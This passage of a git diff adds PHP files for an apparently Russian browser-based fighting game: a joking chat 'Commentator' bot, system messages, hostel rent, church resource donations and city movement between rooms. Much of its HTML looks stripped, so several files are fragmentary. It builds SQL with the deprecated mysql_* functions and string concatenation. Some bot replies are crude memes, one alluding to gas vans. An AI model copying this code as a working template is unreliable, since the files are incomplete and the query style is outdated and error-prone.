FILE_APPEND | LOCK_EX); + echo"2"; + } + } + + if (strpos($_GET['text'],"to [Комментатор]" ) !== FALSE) { + if (strpos($_GET['text'],"to [Комментатор] анекдот" ) !== FALSE) { + $commas = array('Артника может обидеть каждый, но не каждый успеет извиниться.', + '"Сойдет за близы" - сказал Илья Муромец завязывая вокруг шеи змея Горыныча.', + 'Часы показывали 12:00, когда бойцы Армады и Орден Паладинов бросили вызов друг другу. 12:01 Internal Server Error.', + 'В конкурсе по женской логике победил генератор ударов.', + 'Хороший, плохой, главный тот, у кого сусел!', + 'Наши комментаторы, самые <вырезано цензурой> комментаторские комментаторы в мире!' + ); + addchp($commas[rand(0,count($commas)-1)],"Комментатор"); + } else { + $commas = array('Так слово за слова и получил Иванушка инвалидность...', + 'Шалость удалась! ©Мерлин', + 'Брад, даи крон!', + 'Это у Вас продается славянский шкаф?', + 'Я твой дом, труба шатал!', + 'Аффтар выпей йаду!', + 'Аффтар пешы ысчо!', + 'Аццкий Сотона!', + 'В Бабруйск, жывотное!', + 'В газенваген!', + 'Гламурненько!', + 'Фууууу, Фуууу... Фундаментально!', + 'Жизнинна! Гони еще волну!', + 'Пеши исчё!', + 'Кактуззз жжот!', + 'Знала бы твоя мама, о твоих проказах. Высекла тебя бы!', + 'Киса куку! Ты с какова горада?', + 'Ниасилил патамушта вайнаимир', + 'Учи албанский!', + 'Убей сибя ап стенку', + 'Чмоки, в обе щеки, пративный!', + 'Держи курс на систему Медузы!', + 'Это тигрокрыс с планеты Пенелопа. Он питается дикими быками', + 'Грубиян и невоспитанный тип!', + 'До свидания, мы еще увидимся. Запомните, меня зовут Весельчак У!', + 'нисмишно', + 'Ты такой, клёвый!', + 'Писать, читать умеешь? Будешь работать паладином. Подойди к Верховному, скажи Я разрешил!', + 'Погнали Ваших городские!', + 'Кто не спрятался, я не виноват!', + 'Если чё, заходи, не стисняйся.', + 'Трах-тибидах-тибидах! Теперь ты медуза!', + 'Скройся с моих глаз!', + 'Ой, всё!', + 'В угол поставлю!', + 'Альфа Центавра знаешь? Тамошние мы...', + 'Жил был у бабушки серенький козлик? Это не про вас песенка?', + 'Ыыыы, сЫроежкин, жги еще!', + 'Танцуй пока молодой, мальчик!', + 'За Вами уже выехали. Сухари собирайте!', + 'Сам я не местный, Поможи чем можешь! Рупь дай, или два!', + 'Я пью и гуляю на свои!', + 'Пивная, еще парочку!', + 'Поручик молчать!', + 'Спокойно Маша, я Дубровский!', + 'Юстас Аллексу. Примите радиограмму!', + 'Профессор лопух, лопух!', + 'Окропим снег красненьким?', + 'На святое дело идем, товарища выручать!', + 'Как здорово, что все мы здесь, сегодня собрались!', + 'Пирожки, пирожки, кому пирожки? С сыром, с перцем и собачьим сердцем!', + 'Ваши трехдюймовые глазки путем меткого попадания зажгли огнедышаший пожар в моем сердце. Словом, бац-бац! И в точку!', + 'Ты что делаешь? Грабитель! Разбойник! Своих грабишь? Гадский папа!', + 'Шо ты хапаешь, шо ты хапаешь! Не, я такой фасон не ношу.', + 'стой! Снимай сапоги!', + 'И шо я в тебя такой влюбленный?', + 'Я же атаман идейный. И все мои паладины как один, стоят за свободную личность.', + 'Гапуся, тридцать пять лет тебе говорю: не спеши!!!', + 'А это не вы ехали через Янковку на арбе с сеном и заснули, а у вас тем временем волов увели?', + 'Это ещё что за статуй?', + 'Вашу ручку, битте-дритте!', + 'Сыграй что-нить такое, чтобы душа развернулась, а потом обратно завернулась!', + 'А вы гопака танцуете?', + 'Вы и только Вы напоминаете мне мою любимую, мою чернявую, мою безотказную… гаубицу!', + 'Будешь так продолжать, превращу тебя.... в жабу!', + 'Что поговорить больше не с кем?', + 'Отдыхай!', + 'Вас много, комментатор - один!', + 'А станете наезжать, не буду комментировать ваши бои!', + 'Отвали!', + 'Тренируйся на кошечках!', + 'Анекдот: - Товарищ водитель, почему ваша пассажирка не пристегнута ремнями безопасности? - Так это же моя тёща!', + 'Сам такой!', + 'Продам кредиты (в приват)', + 'мдя...', + 'Лучше в бою проявляй энтузиазм.', + 'Кто тут комментатор? Ты или я???', + 'Надо же...', + 'Сам дурак!', + 'Наши комментаторы, самые <вырезано цензурой> комментаторские комментаторы в мире!', + '(судорожно оглядываясь) КТО ЗДЕСЬ???', + 'Не болтайте ерундой', + 'Все! Теперь ты мне должен!', + 'р-р-р...', + 'А в бою это повторить сможешь?', + 'Я долго думал, что такое 90х60х90. Оказалось, что это 486 000.', + 'Может тебе кредитов дать, чтоб отстал?', + 'Твой интеллект поражает <вырезано цензурой>', + 'Вот сижу тут и разбавляю свою мудрость вашей глупостью.', + 'Ты с кем посоревноваться решил?', + 'Ждите ответа. Ждите ответа. Ждите ответа. Ждите ответа. Ждите, короче...', + 'Я комментатор! А ты кто???', + 'Щас я все это запишу, а потом передам кляузу паладинам...', + 'я занят!!!'); + addchp($commas[rand(0,count($commas)-1)],"Комментатор"); + } + } + + + } + die (""); + + } + } +?> + + \ No newline at end of file diff --git a/change_stuff.php b/change_stuff.php new file mode 100644 index 0000000..7727037 --- /dev/null +++ b/change_stuff.php @@ -0,0 +1,61 @@ + diff --git a/chat.html b/chat.html new file mode 100644 index 0000000..f21fb98 --- /dev/null +++ b/chat.html @@ -0,0 +1,14 @@ + + + + + + +
    +
    +
    +
    +
    +
    + + \ No newline at end of file diff --git a/chats.php b/chats.php new file mode 100644 index 0000000..7363d6b --- /dev/null +++ b/chats.php @@ -0,0 +1,47 @@ +Силы Хаоса вызывают бойцов клуба 7 уровней на поединок! Начало боя через 3 минуты, в разделе хаотических поединков.'); +} elseif($_GET['id'] == 2) { + sys_msgs('Внимание! Битва на Арене Ангелов началась! Спешите принять участие.'); +} elseif($_GET['id'] == 3) { + sys_msgs('Внимание! До начала битвы на Арене Ангелов остался 1 час.'); +} elseif($_GET['id'] == 4) { + //sys_msgs('Внимание! Приглашаем всех желающих на турнир в Башню Смерти! Турнир начинается через 15 минут.'); +} elseif($_GET['id'] == 5) { + //sys_msgs('Внимание! Турнир Башни Смерти откладывается на час.'); +} elseif($_GET['id'] == 6) { + $user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `room` FROM `users` WHERE `id` = "'.(int)$_GET['user'].'" LIMIT 1')); + if(isset($user['id'])) { + addch('Внимание! Ваш бой не может начаться по причине Группа не набрана', $user['login'], $user['room']); + } +} elseif($_GET['id'] == 7) { + $user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `room` FROM `users` WHERE `id` = "'.(int)$_GET['user'].'" LIMIT 1')); + if(isset($user['id'])) { + addch('Внимание! Ваш бой начался.', $user['login'], $user['room']); + } +} else { + die(); +} \ No newline at end of file diff --git a/checkpoint.php b/checkpoint.php new file mode 100644 index 0000000..df8ff6a --- /dev/null +++ b/checkpoint.php @@ -0,0 +1,24 @@ + array(8, 16, 24, 32), 2 => array(15, 30, 45, 60), 3 => array(25, 50, 75, 100), 4 => array(40, 80, 120, 160)); + +if(isset($_POST['act']) && $_POST['act'] == 'pay') { + if(isset($user['id']) && isset($hostel['id'])) { + echo '
    '; + echo 'Предварительная оплата'; + echo '

    '; + echo 'Аренда оплачена по: '.date('h:i d.m.y', $hostel['time']).' ('.timeOut($hostel['time']-time()).')

    '; + + echo ' + + + + +
    Выберите срок предоплаты.
    Сутки7142128
    Сумма'.$base[$hostel['type']][0].''.$base[$hostel['type']][1].''.$base[$hostel['type']][2].''.$base[$hostel['type']][3].'
    +
    Внимание! При расторжении договора или смене тарифа, внесенная плата не возвращается
    '; + } +} \ No newline at end of file diff --git a/church.php b/church.php new file mode 100644 index 0000000..d8b90e8 --- /dev/null +++ b/church.php @@ -0,0 +1,424 @@ + + + + + <? ($getResource ? 'Храм Древних - ' . $getResource['name'] : 'Ошибка ресурса' ) ?> + + + + + + + + + + ' . + '
    ' . ($ratingCount > 0 ? 'Топ ' . $ratingCount . ', ' : '') . 'Материал: ' . $getResource['name'] . '
    ' . $i++ . '' . nick2($row['uid'], true) . '' . $row['val'] . ' шт.
     
    ' . nick2($user['id'], true) . '' . intval(mysql_result(mysql_query("SELECT SUM(`val`) as `val` FROM `church_logs` WHERE `key`='" . $getResource['id'] . "' AND `ch`='" . $thisChurch . "' AND `uid`='" . $user['id'] . "' GROUP BY `uid` ORDER BY SUM(`val`) DESC LIMIT 1;"), 0)) . ' шт.
    Нет данных
    '; + } else { + echo'
    Ошибка ресурса
    '; + } + echo'' . + ''; + exit; +} +?> + + + + + + + + + + + + + + + + + +
    + + +

    Скоро тут все будет....

    '; + break; + case'level11': + $Deposit = ''; + if($_GET['wid']){ + $getResource = mysql_fetch_assoc(mysql_query("SELECT * FROM `inventory` WHERE `id` = '" . intval($_GET['wid']) . "' AND `owner` = '{$_SESSION['uid']}' AND (type=80 or type=81 or type=82 or type=83 or type=84 or type=85 or type=86 or type=87 or type=89) AND `setsale` = '0'")); + if($getResource){ + $userData = array(); + // Выгружаем нащи данные + $getChUser = mysql_fetch_assoc(mysql_query("SELECT * FROM `church_users` WHERE `id` = '{$_SESSION['uid']}'")); + if($getChUser){ + $userData = unserialize($getChUser['data']); + } + + // Обновляем количество ресов в БД + $resChurch[$getResource['prototype']]['count'] += $getResource['koll']; + $userData[$getResource['prototype']] += $getResource['koll']; + mysql_query("REPLACE INTO `church_users` (`id`, `data`) VALUES ('{$_SESSION['uid']}', '" . serialize($userData) . "');"); + mysql_query("UPDATE `church_configs` SET `data` = '" . serialize($resChurch) . "' WHERE `id`='" . $thisChurch . "'"); + + // Temp Data + $user['reputation'] += round($getResource['koll']*$getResource['repcost'], 2); + + //Обнавляем нашу репу + mysql_query("UPDATE `users` SET `reputation`=`reputation`+'" . round($getResource['koll']*$getResource['repcost'], 2) . "',`doblest`=`doblest`+'" . round($getResource['koll']*$getResource['repcost'], 2) . "' WHERE `id`='{$_SESSION['uid']}'"); + + // Удаляем ресурсы + mysql_query("DELETE FROM `inventory` WHERE `id` = '" . $getResource['id'] . "'"); + + // Пишем логи + mysql_query("INSERT INTO `church_logs` (`ch`, `uid`, `key`, `val`) VALUES ('" . $thisChurch . "', '{$_SESSION['uid']}', '{$getResource['prototype']}', '{$getResource['koll']}');"); + $Deposit = 'Вы пожертвовали на внутреннюю отделку: ' . $getResource['name'] . ' x' . $getResource['koll'] . '
    И получили ' . round($getResource['koll']*$getResource['repcost'], 2) . ' репутации.
    '; + } + } + + $getResources = mysql_query("SELECT * FROM `inventory` WHERE `owner` = '{$_SESSION['uid']}' AND (type=80 or type=81 or type=82 or type=83 or type=84 or type=85 or type=86 or type=87 or type=89) AND `setsale` = 0 ORDER by `name` ASC; "); + $resources = 'К сожалению у Вас нет нужных ресурсов...'; + if (mysql_num_rows($getResources) > 0) { + $resources = ''; + while($row = mysql_fetch_array($getResources)) { + $resources .= 'Отдать ' . $row['name'] . ' x' . $row['koll'] . ' алтарю.
    '; + } + } + echo'
    + + +
    + + + + + + + + + + + +
    +
    Да пребудет с тобой сила, ' . $user['login'] . ', репутация: ' . $user['reputation'] . '
    +
    +
    ' . $Deposit . $resources . ' +
    '; + if(isset($_GET['step'])){ + echo' + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
     
         
     
         
     
         
     
      
    '; + } else { + echo' + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
     
         
     
         
     
         
     
      
    '; + } + echo'
    '; + + break; + default: + echo'
    + + +
    + + + + +
    +
    + + + + +
    +
    '; + break; + } +/* +echo serialize( + array( + 401 => array('count' => 0), // Руда + 402 => array('count' => 0), // Песок + 403 => array('count' => 0), // Гранит + 404 => array('count' => 0), // Воск + 405 => array('count' => 0), // Глина + 406 => array('count' => 0), // Стенной камень + 407 => array('count' => 0), // Кусок настенного рисунка + 408 => array('count' => 0), // Камень Алтаря + 409 => array('count' => 0), // Алмаз + 410 => array('count' => 0), // Изумруд + 411 => array('count' => 0), // Серебро + 412 => array('count' => 0), // Золото + 501 => array('count' => 0), // Мел + 502 => array('count' => 0), // Горсть соли + 503 => array('count' => 0), // Горный хрусталь + 504 => array('count' => 0), // Бирюза + 505 => array('count' => 0), // Опал + 506 => array('count' => 0), // Булыжник + 507 => array('count' => 0), // Камень Лабиринта + 508 => array('count' => 0), // Гранат + 509 => array('count' => 0), // Янтарь + 510 => array('count' => 0), // Сапфир + 511 => array('count' => 0), // Малахит + 512 => array('count' => 0), // Жемчуг + ) +); +*/ +?> + \ No newline at end of file diff --git a/city.php b/city.php new file mode 100644 index 0000000..46fcab1 --- /dev/null +++ b/city.php @@ -0,0 +1,1167 @@ + 0 && $ch_raw["status"] < 5) { header('location: c_haos_in.php'); die(); } + +$dig_raw = mysql_fetch_array(mysql_query("SELECT `id`, `finish_dig`, `finish_guard` FROM `digger` WHERE `id` = '{$user['id']}' LIMIT 1")); +if($dig_raw["finish_dig"] > $tm || $dig_raw["finish_guard"] > $tm) { header('location: wall_build.php'); die(); } + +header("Cache-Control: no-cache"); + +$d = mysql_fetch_array(mysql_query("SELECT SUM(`massa`) AS `mass` FROM `inventory` WHERE `owner` = '{$user['id']}' AND `dressed` = 0 AND `setsale` = 0")); +if($d['mass'] > get_meshok() && $_GET['got']) { + echo "
    У вас переполнен рюкзак, вы не можете передвигаться...
    "; + $_GET['got'] = 0; +} + +$entangle = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND `type` = 10 LIMIT 1")); +if(isset($entangle['id']) > 0 && $_GET['got']) { + echo "
    Вы парализованы и не можете передвигаться...
    "; + $_GET['got'] = 0; +} + +$eff = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND (`type` = 14 OR `type` = 13) LIMIT 1")); +if(isset($eff['id']) && $_GET['got']) { + echo "
    У вас тяжелая травма, вы не можете передвигаться...
    "; + $_GET['got'] = 0; +} + +if($d['mass'] > get_meshok() && $_GET['strah']) { + echo "
    У вас переполнен рюкзак, вы не можете передвигаться...
    "; + $_GET['strah'] = 0; +} + +$entangle = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND `type` = 10 LIMIT 1")); +if(isset($entangle['id']) > 0 && $_GET['strah']) { + echo "
    Вы парализованы и не можете передвигаться...
    "; + $_GET['strah'] = 0; +} + +$eff = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND (`type` = 14 OR `type` = 13) LIMIT 1")); +if(isset($eff['id']) && $_GET['strah']) { + echo "
    У вас тяжелая травма, вы не можете передвигаться...
    "; + $_GET['strah'] = 0; +} + +if($_GET['strah']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '21',`online`.`room` = '21' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + echo mysql_error(); +?> + + + + + + + + + +function cityg() { location.href = 'city.php'; } setTimeout('cityg()', 5000);



    Переходим на Страшилкину Улицу...
    "); +} + +if($d['mass'] > get_meshok() && $_GET['cp']) { + echo "
    У вас переполнен рюкзак, вы не можете передвигаться...
    "; + $_GET['cp'] =0; + } + $entangle = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND `type` = 10 LIMIT 1")); + if(isset($entangle['id']) && $_GET['cp']) { + echo "
    Вы парализованы и не можете передвигаться...
    "; + $_GET['cp'] =0; + } + $eff = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND (`type` = 14 OR `type` = 13) LIMIT 1")); + if(isset($eff['id']) && $_GET['cp']) { + echo "
    У вас тяжелая травма, вы не можете передвигаться...
    "; + $_GET['cp'] =0; + } + + + if ($_GET['cp']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '20',`online`.`room` = '20' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + ?> + + + + + + + + + + + function cityg(){ + location.href='city.php'; + } + setTimeout('cityg()', 5000); + +



    + Переходим на Центральную площадь... +
    + "); + } + + if($d['mass'] > get_meshok() && $_GET['bps']) { + echo "
    У вас переполнен рюкзак, вы не можете передвигаться...
    "; + $_GET['bps'] = 0; + } + $entangle = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND `type` = 10 LIMIT 1")); + if(isset($entangle['id']) && $_GET['bps']) { + echo "
    Вы парализованы и не можете передвигаться...
    "; + $_GET['bps'] = 0; + } + $eff = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND (`type` = 14 OR `type` = 13) LIMIT 1")); + if(isset($eff['id']) && $_GET['bps']) { + echo "
    У вас тяжелая травма, вы не можете передвигаться...
    "; + $_GET['bps'] = 0; + } + + + + if ($_GET['bps']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '26',`online`.`room` = '26' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + ?> + + + + + + + + + + + + function cityg(){ + location.href='city.php'; + } + setTimeout('cityg()', 5000); + +



    + Переходим на Большую Парковую улицу... +
    + "); + } + + // Ристалище + if($d['mass'] > get_meshok() && $_GET['zamk']) { + echo "
    У вас переполнен рюкзак, вы не можете передвигаться...
    "; + $_GET['zamk'] = 0; + } + $entangle = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND `type` = 10 LIMIT 1")); + if(isset($entangle['id']) && $_GET['zamk']) { + echo "
    Вы парализованы и не можете передвигаться...
    "; + $_GET['zamk'] = 0; + } + $eff = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND (`type` = 14 OR `type` = 13) LIMIT 1")); + if(isset($eff['id']) && $_GET['zamk']) { + echo "
    У вас тяжелая травма, вы не можете передвигаться...
    "; + $_GET['zamk'] = 0; + } + + + + if ($_GET['zamk']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '2601',`online`.`room` = '2601' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + ?> + + + + + + + + + + + function cityg(){ + location.href='city.php'; + } + setTimeout('cityg()', 5000); + +



    + Переходим на Замковую площадь... +
    + "); + } + + // Ристалище + if($d['mass'] > get_meshok() && $_GET['zaliv']) { + echo "
    У вас переполнен рюкзак, вы не можете передвигаться...
    "; + $_GET['zaliv'] = 0; + } + $entangle = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND `type` = 10 LIMIT 1")); + if(isset($entangle['id']) && $_GET['zaliv']) { + echo "
    Вы парализованы и не можете передвигаться...
    "; + $_GET['zaliv'] = 0; + } + $eff = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND (`type` = 14 OR `type` = 13) LIMIT 1")); + if(isset($eff['id']) && $_GET['zaliv']) { + echo "
    У вас тяжелая травма, вы не можете передвигаться...
    "; + $_GET['zaliv'] = 0; + } + + + + if ($_GET['zaliv']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '2111',`online`.`room` = '2111' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + ?> + + + + + + + + + + + + + function cityg(){ + location.href='city.php'; + } + setTimeout('cityg()', 5000); + +



    + Переходим на Ристалище... +
    + "); + } + + //Парковая Улица + if($d['mass'] > get_meshok() && $_GET['ps']) { + echo "
    У вас переполнен рюкзак, вы не можете передвигаться...
    "; + $_GET['ps'] =0; + } + $entangle = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND `type` = 10 LIMIT 1")); + if(isset($entangle['id']) && $_GET['ps']) { + echo "
    Вы парализованы и не можете передвигаться...
    "; + $_GET['ps'] =0; + } + $eff = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND (`type` = 14 OR `type` = 13) LIMIT 1")); + if(isset($eff['id']) && $_GET['ps']) { + echo "
    У вас тяжелая травма, вы не можете передвигаться...
    "; + $_GET['ps'] =0; + } + + + + if ($_GET['ps']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '51',`online`.`room` = '51' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + + + ?> + + + function cityg(){ + location.href='city.php'; + } + setTimeout('cityg()', 5000); + +



    + Переходим на Парковую улицу... +
    + "); + } + + //Торговая улица + if($d['mass'] > get_meshok() && $_GET['torg']) { + echo "
    У вас переполнен рюкзак, вы не можете передвигаться...
    "; + $_GET['torg'] =0; + } + $entangle = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND `type` = 10 LIMIT 1")); + if(isset($entangle['id']) && $_GET['torg']) { + echo "
    Вы парализованы и не можете передвигаться...
    "; + $_GET['torg'] =0; + } + $eff = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND (`type` = 14 OR `type` = 13) LIMIT 1")); + if(isset($eff['id']) && $_GET['torg']) { + echo "
    У вас тяжелая травма, вы не можете передвигаться...
    "; + $_GET['torg'] =0; + } + + + + if ($_GET['torg']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '2702',`online`.`room` = '2702' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + + + + ?> + + + function cityg(){ + location.href='city.php'; + } + setTimeout('cityg()', 5000); + +



    + Переходим на Торговую улицу... +
    + "); + } + + //Торговая улица + if($d['mass'] > get_meshok() && $_GET['abog']) { + echo "
    У вас переполнен рюкзак, вы не можете передвигаться...
    "; + $_GET['abog'] =0; + } + $entangle = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND `type` = 10 LIMIT 1")); + if(isset($entangle['id']) && $_GET['abog']) { + echo "
    Вы парализованы и не можете передвигаться...
    "; + $_GET['abog'] =0; + } + $eff = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '".$user['id']."' AND (`type` = 14 OR `type` = 13) LIMIT 1")); + if(isset($eff['id']) && $_GET['abog']) { + echo "
    У вас тяжелая травма, вы не можете передвигаться...
    "; + $_GET['abog'] =0; + } + + + + if ($_GET['abog']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '2655',`online`.`room` = '2655' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + + + + ?> + + + function cityg(){ + location.href='city.php'; + } + setTimeout('cityg()', 5000); + +



    + Переходим на Арену Богов... +
    + "); + } + + if ($user['room']==20) { + // CP + // BK + if ($_GET['got'] && $_GET['level1']) { + //if ($user['level'] > 0) { $room = 8; } else { $room = 1; } + //mysql_query("UPDATE `users`,`online` SET `users`.`room` = '{$room}',`online`.`room` = '{$room}' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: main.php?setch=1'); + die(); + } + // Stralka strah + if ($_GET['got'] && $_GET['level7']) { + header('location: city.php?strah=1'); + } + if ($_GET['got'] && $_GET['level8']) { + header('location: city.php?bps=1'); + } + if ($_GET['got'] && $_GET['level222']) { + header('location: city.php?torg=1'); + } + // shop + if ($_GET['got'] && $_GET['level17']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '50',`online`.`room` = '50' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: ashop.php'); + } + + // shop + if ($_GET['got'] && $_GET['level2']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '22',`online`.`room` = '22' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + if($user['first'] == 6){ + mysql_query("update `users` set `kwest_shop_see`=`kwest_shop_see`+'1' where `id`='".$user['id']."'"); + } + header('location: shop.php'); + } + // repait + if ($_GET['got'] && $_GET['level4']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '23',`online`.`room` = '23' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: repair.php'); + } + if ($_GET['got'] && $_GET['level10']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '35',`online`.`room` = '35' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: krshop.php'); + } + + + if ($_GET['got'] && $_GET['level13']) { + // if($user['login'] == 'SaulDin'|| $user['login'] == 'Дед Мазай'|| $user['login'] == 'The Kite Runner'){ + // mysql_query("UPDATE `users`,`online` SET `users`.`room` = '662',`online`.`room` = '662' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: quest_room.php'); + /* + if($user['hp'] >= $user['maxhp']){ + print ""; + }else { + mysql_query("UPDATE `users` SET `hp` = `maxhp` WHERE `id` = '".$user['id']."' LIMIT 1"); + print ""; + header('location: city.php'); + }*/ + //}//else{ + // print ""; + // } + +} + + + + if ($_GET['got'] && $_GET['level9']) { + if ($user['align'] == 4) { + print ""; + } + elseif ($user['level'] < 2) { + print ""; + } + else { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '24',`online`.`room` = '24' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: elka.php'); + } + } + + + if ($_GET['got'] && $_GET['level6']) + { + if ($user['level'] < 1) { print ""; } + else + { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '27',`online`.`room` = '27' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: post.php'); + } + } + + if ($_GET['got'] && $_GET['level3']) { + if ($user['align'] == 4) { + print ""; + } + elseif ($user['level'] < 1) { + print ""; + } + else { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '25',`online`.`room` = '25' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: comission.php'); + } + } + } + elseif($user['room']==21) { + // Strashilka + // strelka cp + if ($_GET['got'] && $_GET['level4']) { + header('location: city.php?cp=1'); + } + // strelka zaliv + if ($_GET['got'] && $_GET['level3']) { + header('location: city.php?zaliv=1'); + } + if ($_GET['got'] && $_GET['level13']) { + if ($user['align'] == 4) { + print ""; + } + else + { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '34',`online`.`room` = '34' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: fshop.php'); + } + } + + + if ($_GET['got'] && $_GET['level5']) { + if ($user['align'] == 4) { + print ""; + } + else { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '29',`online`.`room` = '29' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + if($user['first'] == 5){ + mysql_query("update `users` set `kwest_bank_see`=`kwest_bank_see`+'1' where `id`='".$user['id']."'"); + } + header('location: bank.php'); + } + } + if ($_GET['got'] && $_GET['level16']) { + //if($user['login'] == 'SaulDin' || $user['login'] == 'Дед мазай'){ + $effs = mysql_fetch_array(mysql_query("SELECT `id` FROM `effects` WHERE `owner` = '{$user['id']}' AND `type` = '21' LIMIT 1")); + if(isset($effs['id'])) + print ""; + else + { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '31',`online`.`room` = '31' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: tower.php'); + } + //}else{ + print ""; + // } + } + + + + if($_GET['got'] && $_GET['level14']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '30',`online`.`room` = '30' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: klanedit.php'); + } + + + if ($_GET['got'] && $_GET['level650']) { +print ""; + // mysql_query("UPDATE `users`,`online` SET `users`.`room` = '650',`online`.`room` = '650' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + // header('location: ul_clans.php'); + } + } + +elseif($user['room']==2111) { + // залив + // strelka cp + if ($_GET['got'] && $_GET['level1']) { + header('location: city.php?strah=1'); + } + if ($_GET['got'] && $_GET['level2']) { + header('location: city.php?haos=1'); + } + if ($_GET['got'] && $_GET['level3']) { + print ""; + $_SESSION['usebochka']='1'; + +} + if($_GET['got'] && $_GET['level203']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '1055',`online`.`room` = '1055' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: group_arena.php'); + } +if ($_GET['got'] && $_GET['room666']) { + header('location: jail.php'); + } + if($_GET['got'] && $_GET['level1000']) { + #mysql_query("UPDATE `users`,`online` SET `users`.`room` = '1000',`online`.`room` = '1000' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + #header('location: /solib/enterbezdna.php'); + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '620',`online`.`room` = '620' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: enter_cave.php'); + + } +if ($_GET['got'] && $_GET['room666']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '666',`online`.`room` = '666' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: jail.php'); +} + +if ($_GET['got'] && $_GET['level5']) { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '203',`online`.`room` = '203' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: church.php'); +} + + +} 